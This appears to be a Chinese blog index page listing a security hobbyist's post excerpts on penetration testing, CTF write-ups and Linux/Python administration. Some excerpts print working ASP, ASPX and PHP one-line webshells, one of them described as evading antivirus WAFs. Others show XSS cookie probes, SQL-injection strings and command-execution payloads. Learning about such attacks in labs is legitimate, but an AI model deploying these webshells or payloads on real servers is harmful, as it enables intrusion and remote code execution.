乐胖代购免代理版

google hacking

将使用以下工具对此进行演示 Mac OS 注意：此实验仅用于教育目的，任何非法活动概不负责。常用符号： -key 强制结果不出现关键词 *key* 模糊搜索，强制结果包含此关键词 “key” 强制搜索结果出现此关键词 site：搜索指定的域名的网页内容语法 site ：域名 # site:z

系统运维

置顶原创 2021-05-20 23:47:44 1028 阅读

XSS 检测方法

通常有一些方式可以测试网站是否有正确处理特殊字符： ><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> "><script>alert(document.cookie)</script

3c

特殊字符

javascript

原创 2022-06-13 09:10:33 505 阅读

微博抓取照片视频

项目背景：主要爬取新浪微博用户的相册和视频，下载到本地。第一步获取微博用户uid 找到想要获取的用户获取链接里的uid 再检查网页,找到微博的api接口,接口里获取的数据包就有我们想要的内容第二部写代码前期分析完后我们就可以来写代码了，先引用需要的库创建一个weibo类,并在构造方法

python

数据

json数据

解析json

json

转载 2021-10-11 13:54:33 837 阅读

numpy 常用方式

数组

数据

数据类型

多维数组

一维数组

原创 2021-09-17 15:32:39 208 阅读

Centos最小化安装 AWVS 的坑

需要安装依赖包 yum install -y libpango-1.0.so.0 libXext.so.6 libXi.so.6 libgtk-3.so.0 libgdk_pixbuf-2.0.so.0 libX11.so.6 libXdamage.so.1 libatk-1.0.so.0 liba

创建目录

用户名

最小化

权限问题

重新安装

原创 2021-09-14 16:07:45 1737 阅读

使用centos安装nessus 8.15，并解除IP限制

环境：宿主机为Windows10，虚拟机安装CentOS7，虚拟机的

centos

重启

激活码

vim

离线

原创 2021-09-07 11:01:47 994 阅读 1点赞 1收藏

Linux CentOS7 开通端口外网端口访问权限

一、查看系统防火墙状态（如果返回 running 代表防火墙启动正常）firewall-cmd --st

自动启动

重启

d3

启动服务

原创 2021-09-07 11:00:20 3649 阅读 12点赞 2收藏 1评论

VSCode配置C语言环境

基本步骤要在VSCode中配置C语言环境，我们首先可能要一个VSCode（废话），所以先下载安装一个VSCode；然后肯定需要相关插件，因为VSCode不能直接拿来写C；然后任何语言的程序在运行前都需要编译，那还需要一个编译器，很可惜VSCode插件里面不自带，所以要自己下载然后配置；最后在VSCo

json

下载地址

环境变量

c++

c语言

转载 2021-08-16 09:52:27 2040 阅读

Python MySQL - mysql-connector 驱动

解决 mysql.connector.errors.NotSupportedError 环境 mysql：8.0.11python：3.6 错误描述 mysql.connector.errors.NotSupportedError) Authentication plugin 'caching_sha2_password' is not supported 解决方案： pip instal

驱动

原创 2021-07-02 15:57:58 787 阅读

一句话木马：ASP篇

一句话木马：ASP篇 ASP一句话木马收集： <%eval request("chopper")%> <%execute request("chopper")%> <%execute(request("chopper"))%> <%ExecuteGlobal request("chopper")%>

ASP

原创 2021-05-30 23:50:54 3710 阅读

remote pc ms17-010

我们将使用以下工具对此进行演示厉害的Linuxwin7VMware或VirtualBox（虚拟环境）注意：此实验仅用于教育目的，任何非法活动概不负责。测试目的：通过实施针对性的渗透测试，发现win7系统的安全漏洞，复现ms17-010，熟悉渗透测试流程。测试范围：本次测试的范围详细如下：系统名称未知测试时间2020.10.24测试工具kali linux说明本次渗透测试过程中使用网络环境为私有内网

remote pc ms17-010

原创 2021-04-18 16:50:53 342 阅读

一句话木马：ASPX篇

aspx木马收集： <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>随日期变化的连接密码, Asp.NET服务端写法：<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.Has

原创 2021-04-18 16:49:29 5683 阅读

命令执行

命令执行漏洞原理：操作系统中& 、&&、 |、 ||都可以作为命令连接符使用，通过浏览器提交执行命令，如果服务器没有针对执行命令过滤，导致没有制定绝对路径的情况下就执行命令。防御：设置黑名单过滤，src_replace ，替换 baidu.com&ip a

命令执行

原创 2021-04-18 09:48:43 296 阅读

sql 注入

order by 猜解字段union 联合查询列数相同布尔注入判断条件真假猜测闭合使用单引号或者双引号 ' "' or 1 =1 -- 'http://192.168.10.157/dvwa/vulnerabilities/sqli/?id='or 1=1 -- '&Submit=Submit#转码后：http://192.168.10.157/dvwa/vulnerabilit

sql

原创 2021-04-18 09:47:22 350 阅读

Linxu 挂载光盘和硬盘

1挂载CD光盘通过配置文件添加配置vi /etc/fstab# /etc/fstab# Created by anaconda on Sat May 9 11:11:33 2020## Accessible filesystems, by reference, are maintained under '/dev/disk'# See man pages fstab(5), findfs(8),

Linxu

原创 2021-04-17 23:39:38 258 阅读

Linux firewall

安装防火墙： 1.查看防火墙状态：systemctl status firewall [root@localhost ~]# systemctl status firewall Unit firewalldd.service could not be found. #未安装 2.安装防火墙服务：yu

防火墙

LInux

原创 2021-04-14 17:19:15 428 阅读

Linux --xfs 备份恢复

3.文件备份# xfsdump -f 备份存放位置要备份文件路径 xfsdump -f /opt/dump_1 /dump_test [root@donglian dump_test]# xfsdump -f /opt/dump_1 /dump_testxfsdump: using file du

Linux XSF

Linux

原创 2021-04-14 17:18:28 757 阅读 1收藏

Linux -xfs 增量备份恢复

4 增量备份恢复#首次备份 xfsdump -f /opt/dump_test_full /dump_test -L dum_test_full -M beifen0 [root@donglian dump_test]# xfsdump -f /opt/dump_test_full /dump_te

增量备份恢复

Linux

原创 2021-04-14 17:17:48 503 阅读

Linux--Shell

shell1.创建变量使用等号直接赋值，变量名只能以以字母和下划线开头，等号不能有空格 echo输出内容 [root@donglian ~]# str="My name is Sam"[root@donglian ~]# echo $strMy name is Sam 2.单引号与双引号的区别：单引

Shell

Linux

原创 2021-04-14 17:17:19 154 阅读

remote android

介绍我们将使用以下工具对此进行演示厉害的Linux Android设备 VMware或VirtualBox（虚拟环境）注意：此实验室仅用于教育目的。作者和/或Infosec对用户执行的任何非法活动概不负责。步骤一：启动厉害的Linux，模块模糊搜索：search android/me 这里

android

android开发

原创 2021-04-14 15:41:31 438 阅读

一句话木马：PHP篇

珍藏版：一个简单的过D盾的免杀php <?php $ab = $_REQUEST['d']; $a['t'] = "";//主要带对象 D盾就不管后面的了。。。 eval($a['t'].$ab); 过狗过D盾 <?php $a = $_REQUEST['d'];//参数 $a = "$a";//

免杀php

PHP

转载 2021-04-13 22:26:02 1158 阅读

Python SSL证书问题

问题：[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1076) 产生这个问题的原因在于python本身，当使用urllib打开ht

Python

证书

原创 2021-04-13 17:42:15 4845 阅读

Python 爬虫JD数据

# -*- coding: utf-8 -*-# # @Software: PyCharm# @Site: # @File: day1.py# @Author: SamXu# @E-mail: xuhongwu1993@gmail.com# @Time: 5月 22, 2020# 导入模块from

JD数据

Python爬虫

原创 2021-04-13 17:41:48 355 阅读

SQL Injection

环境虚拟机：VMFusion 11.5.0 专业版使用VMFusion加载OAWAS靶机虚拟机文件。low难度判断是否存在注入点，主要分为显示(报错)注入和延时注入（盲注）。输入参数1 ，页面正常有回显位，输入的内容在url中可见，说明是get类型传参，参数是id 查看闭合方式1 and 1=2 不报错，正常显示，不是整型闭合。 1' and 1=2 报错说明'语法错

SQL Injection

原创 2021-04-10 22:03:59 261 阅读

Mysql

Mysql

原创 2021-04-09 22:20:01 127 阅读

Flask_FileUpload

一、题目：二、查看网页源码：获取上传文件仅：jpg、png,且说明上传python 三、使用vim创建包含python代码的jpg文件import osos.system('ls /') 上传成功，存在远程执行漏洞查看flagimport osos.system('cat /flag')

Flask

原创 2021-04-07 16:36:10 817 阅读

WEB4-通过python获得flag

题目网站源码解题思路$what=$_POST['what']; # POST请求定义变量whatif($what=='flag')　　　　#判断what=flag 获得flag使用python request模块传入formdate参数值成功拿到flag

python

flag

原创 2021-04-07 16:35:36 734 阅读

python-web5

题目源码解题 $num=$_GET['num'];# get请求if(!is_numeric($num)) #is_numeric PHP函数判断参数是否是数字进行闭合

python

原创 2021-04-07 16:35:12 220 阅读

web7

题目界面网站刷新无法获取源码通过python获取网站源码

web

原创 2021-04-07 16:34:53 285 阅读

urllib常用使用方法

urllib.parse urlencode

python

原创 2021-04-07 16:32:45 320 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

Sam 小叔叔

google hacking

XSS 检测方法

微博抓取照片视频

numpy 常用方式

Centos最小化安装 AWVS 的坑

使用centos安装nessus 8.15，并解除IP限制

Linux CentOS7 开通端口外网端口访问权限

VSCode配置C语言环境

Python MySQL - mysql-connector 驱动

一句话木马：ASP篇

remote pc ms17-010

一句话木马：ASPX篇

命令执行

sql 注入

Linxu 挂载光盘和硬盘

Linux firewall

Linux --xfs 备份恢复

Linux -xfs 增量备份恢复

Linux--Shell

remote android

一句话木马：PHP篇

Python SSL证书问题

Python 爬虫JD数据

SQL Injection

Mysql

Flask_FileUpload

WEB4-通过python获得flag

python-web5

web7

urllib常用使用方法

欢迎